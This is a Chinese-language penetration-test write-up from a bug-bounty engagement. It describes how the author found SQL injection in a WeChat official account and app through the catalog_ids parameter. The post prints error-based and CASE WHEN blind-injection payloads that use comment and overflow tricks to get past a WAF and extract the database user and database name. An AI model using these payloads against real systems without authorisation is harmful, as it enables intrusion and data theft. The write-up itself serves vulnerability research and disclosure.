乐于分享
好东西不私藏

记一次渗透测试#信息收集(微信公众号+APP)

记一次渗透测试#信息收集(微信公众号+APP)

一、寻找脆弱点

某次众测

Mou

    1、信息收集,如子域名,c段。(看个人喜好选择收集途径)

    2、对目标站点快速测试,寻找常见高危脆弱点(漏洞具有唯一性,先提先得)一番测试过后,没啥太大收获,于是收集目标站点其他资产。这里我使用小蓝本(免费)查询所属的一些资产,当然也可以直接去搜索相关公众号、小程序、app。

    3、测试 app && 公众号(设置手机代理,抓包工具:fd or bp)。

    公众号

    4、点击左下角功能块,发现请求包存在注入

(现在漏洞点已经修复,由于找不到截图了,就简单地描述一下)

注入参数:catalog_ids

    加一个 '

    加两个 '

    加三个、四个、五个、六个…

发现对单引号敏感

存在注入

.......

二、SQL注入

测试过程

    1、构造最基本的poc:' and '1'='1   ' and

'1'='2   ' and 1=1+--+   '^1/1^'0  '||1/1||'

发现有waf,目测拦截规则有点东西,开始

fuzz基本的轮子有了,开始变形跑数据

    2、' and 1+='1  返回数据

'and99999999999999999999999*9999

999999999999999999999999999999+

='1  溢出报错发现使用case when语

句会被拦截,准备bypass

    参考资料:

    3、开始bypass

跟换请求编码

根据 ' and 1+='1  返回数据

' and 99999999999999999999999*99999

99999999999999999999999999999+='1 

 溢出报错 构造

poc:

'or/**/case when length(user)='1' then 1 else/**/999999999999999999999999999

*99999999999999999999999999999999

99999999999999999999999 end ='1

(在else后面使用/**/隔开就好了)

    4、得到用户名为20位,那么我选择爆破数据库名

    5、得到database为:

****_client

poc:' or/**/ case when database() like 

'&a&%' then 1 else/**/99999999999999999999999999

9*999999999999999999999999999999

9999999999999999999999999 end ='1

    6、漏洞提交

最后发现app也存在同样的注入,且注入参数为同一个。(可惜)

欢迎关注我们

#漏洞挖掘 #微信公众号 #src #sql注入 #信息收集